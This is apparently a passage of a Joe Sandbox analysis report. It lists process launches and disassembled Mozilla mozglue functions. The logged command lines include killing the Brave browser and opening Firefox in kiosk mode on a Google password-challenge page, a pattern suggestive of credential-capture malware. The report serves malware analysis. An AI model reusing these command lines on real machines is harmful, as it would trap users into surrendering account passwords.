Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	14:29:12
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	14:29:12
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	14:29:13
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	14:29:13
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	14:29:15
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2224 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d7bd456a-bb2b-4481-8cf6-bd15856c7dab} 7188 "\\.\pipe\gecko-crash-server-pipe.7188" 1e153a6f910 socket
Imagebase:
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DF688,00001000), ref: 6C5535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C55363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C55369F
__aulldiv.LIBCMT ref: 6C5536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C553773
EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C55377E
LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C5537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5537C4
EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C5537CB
LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C553801
__aulldiv.LIBCMT ref: 6C553883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C553902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C553918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C55394C

Strings

GTC, xrefs: 6C553912
QPC, xrefs: 6C5538FC
AuthcAMDenti, xrefs: 6C553946
MOZ_TIMESTAMP_MODE, xrefs: 6C5535DB
GenuntelineI, xrefs: 6C553639

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 871958292b77f364923c983d88280083b9fb58a56f389084ddb19f8df30e2b21
Instruction ID: a93ef31e42cb26ae448a4d91420783a0ae429154102a21c8d56907e9ff09aa01
Opcode Fuzzy Hash: 871958292b77f364923c983d88280083b9fb58a56f389084ddb19f8df30e2b21
Instruction Fuzzy Hash: FBB163B1B053109BDB08DF28CC5461ABBF5EB89704F068A2EF499D7790D770A905CB9D

Function 6C56C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C56C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C56C969
GetSystemInfo.KERNEL32(?), ref: 6C56C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C56C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C56C9E2

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0f13a17295bbcd4bb79665c70fde5400a180af95482479006267bb8f45aa2db0
Instruction ID: d5afa2e8bb522e41f7c0b45a922135c0540ee258f49ac7a5d8585671188f65e4
Opcode Fuzzy Hash: 0f13a17295bbcd4bb79665c70fde5400a180af95482479006267bb8f45aa2db0
Instruction Fuzzy Hash: 8321C531741718ABDF04BA65CC84BAE72BAEB46704F51051AF943A7B80EB607C4087A9

Function 6C553060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C553095

Part of subcall function 6C5535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DF688,00001000), ref: 6C5535D5
Part of subcall function 6C5535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5535E0
Part of subcall function 6C5535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5535FD
Part of subcall function 6C5535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C55363F
Part of subcall function 6C5535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C55369F
Part of subcall function 6C5535A0: __aulldiv.LIBCMT ref: 6C5536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C55309F

Part of subcall function 6C575B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5756EE,?,00000001), ref: 6C575B85
Part of subcall function 6C575B50: EnterCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575B90
Part of subcall function 6C575B50: LeaveCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575BD8
Part of subcall function 6C575B50: GetTickCount64.KERNEL32 ref: 6C575BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5530BE

Part of subcall function 6C5530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C553127
Part of subcall function 6C5530F0: __aulldiv.LIBCMT ref: 6C553140

Part of subcall function 6C58AB2A: __onexit.LIBCMT ref: 6C58AB30

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 5bcb50684596fdd65a1b9c7da3404a6c2ad02d10bb6ca34f2c78ca69146255be
Instruction ID: be052708aa1309c9caa744642fca11b8b1d81ce7afa9c7ecfe82e99e5fba3844
Opcode Fuzzy Hash: 5bcb50684596fdd65a1b9c7da3404a6c2ad02d10bb6ca34f2c78ca69146255be
Instruction Fuzzy Hash: 17F0F932D20748D6CB10DF748C411E6B3B4AFAB114F56531AF84963A61FB2076D8C39D

Non-executed Functions

Function 6C565440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C565492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5654BE
__Init_thread_footer.LIBCMT ref: 6C5654DB

Part of subcall function 6C58AB3F: EnterCriticalSection.KERNEL32(6C5DE370,?,?,6C553527,6C5DF6CC,?,?,?,?,?,?,?,?,6C553284), ref: 6C58AB49
Part of subcall function 6C58AB3F: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C553527,6C5DF6CC,?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58AB7C

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C565516
GetCurrentThreadId.KERNEL32 ref: 6C56556A
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C565577
moz_xmalloc.MOZGLUE(00000070), ref: 6C565585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C565590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5655E6
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C565606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C565616

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

GetCurrentThreadId.KERNEL32 ref: 6C56563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C565646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C56567C
free.MOZGLUE(?), ref: 6C5656AE

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5656E8
GetCurrentThreadId.KERNEL32 ref: 6C565707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C56570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C565729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C56574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C56576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C565796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5657CA

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C565791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C565AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C56584E
MOZ_BASE_PROFILER_HELP, xrefs: 6C565511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5657C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C565D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C565749
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C565B38
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5654A3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C565BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C565724
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C565C56
[I %d/%d] profiler_init, xrefs: 6C56564E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5656E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C565D1C
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C56548D
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C565766
GeckoMain, xrefs: 6C565554, 6C5655D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5654B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C565D2B
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5657AE
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C565CF9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C565717
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C565D24
MOZ_PROFILER_STARTUP, xrefs: 6C5655E1

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 80cab2f1603236752da771720533564ea4728f6b1e23313718b5efad84df563e
Instruction ID: 28b714a35604eecdb46559d07da49697bafee4113c00a841ebaa50dcf5942b6b
Opcode Fuzzy Hash: 80cab2f1603236752da771720533564ea4728f6b1e23313718b5efad84df563e
Instruction Fuzzy Hash: DC221670904340DFEB00AF76CC4465AB7B5EF86348F954629E84A87F62EB30E944CB5B

Function 6C59B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C59B845
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000), ref: 6C59B852
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59B884
InitializeConditionVariable.KERNEL32(?), ref: 6C59B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C59B9FD
GetCurrentThreadId.KERNEL32 ref: 6C59BA05
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000), ref: 6C59BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C59BA27
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59BA4B
free.MOZGLUE(?), ref: 6C59C9C7
free.MOZGLUE(?), ref: 6C59C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C59C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C59C878

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 2f85e44c714f635863d66fff718be0b806fdaed1be542a39310867f72b5605ae
Instruction ID: 16f3a268e151e41179dc36048c2265cc7c704970ea7491cf7ae7e883079fbcc7
Opcode Fuzzy Hash: 2f85e44c714f635863d66fff718be0b806fdaed1be542a39310867f72b5605ae
Instruction Fuzzy Hash: 6EA2AE71A083808FD725DF28C88079FB7E5BFC9314F554A2DE89997350EB70A949CB86

Function 6C566C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C566CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C566D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C566D26

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C566D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C566D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C566D73
free.MOZGLUE(00000000), ref: 6C566D80
CertGetNameStringW.CRYPT32 ref: 6C566DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C566DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C566DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C566DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C566E10
CryptMsgClose.CRYPT32(00000000), ref: 6C566E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C566E34
CreateFileW.KERNEL32 ref: 6C566EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C566F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C566F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C56709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C567103
free.MOZGLUE(00000000), ref: 6C567153
CloseHandle.KERNEL32(?), ref: 6C567176
__Init_thread_footer.LIBCMT ref: 6C567209
__Init_thread_footer.LIBCMT ref: 6C56723A
__Init_thread_footer.LIBCMT ref: 6C56726B
__Init_thread_footer.LIBCMT ref: 6C56729C
__Init_thread_footer.LIBCMT ref: 6C5672DC
__Init_thread_footer.LIBCMT ref: 6C56730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5673C2
VerSetConditionMask.NTDLL ref: 6C5673F3
VerSetConditionMask.NTDLL ref: 6C5673FF
VerSetConditionMask.NTDLL ref: 6C567406
VerSetConditionMask.NTDLL ref: 6C56740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C56741A
moz_xmalloc.MOZGLUE(?), ref: 6C56755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C567568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C567585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C567598
free.MOZGLUE(00000000), ref: 6C5675AC

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

Strings

SHA256, xrefs: 6C566EC0
(, xrefs: 6C56768A
wintrust.dll, xrefs: 6C5672CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C5672C8

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 3bbf27ac316fc3115505e2d2330069270c7a786e97f6d6ab664fc46c1c7262e6
Instruction ID: 3ebc27afeb204c404130c4f335cfd67594afd028588fa8a709b150b858d03944
Opcode Fuzzy Hash: 3bbf27ac316fc3115505e2d2330069270c7a786e97f6d6ab664fc46c1c7262e6
Instruction Fuzzy Hash: 0A52D3B1A00314DBEB21DF65CC84BAA77B9EF89704F114599E808A7A50DB70BF84CF95

Function 6C586FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C587019
LeaveCriticalSection.KERNEL32(6C5DE7DC), ref: 6C587061
EnterCriticalSection.KERNEL32(?), ref: 6C5871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C58721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C58723E
EnterCriticalSection.KERNEL32(?), ref: 6C58726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C58733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C58961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C589622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C589642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C58964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5896DB
AcquireSRWLockExclusive.KERNEL32(6C5DE804), ref: 6C589747
GetSystemInfo.KERNEL32(?), ref: 6C589792
__Init_thread_footer.LIBCMT ref: 6C5897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5DE810,00000040), ref: 6C5897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7B8,00001388), ref: 6C589838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE744,00001388), ref: 6C58984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE784,00001388), ref: 6C589874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7DC,00001388), ref: 6C589895

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C589993
MALLOC_OPTIONS, xrefs: 6C5897CA
<jemalloc>, xrefs: 6C589B33, 6C589BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5899BD
MOZ_CRASH(), xrefs: 6C589B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C589933, 6C589A33, 6C589A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C589BF4
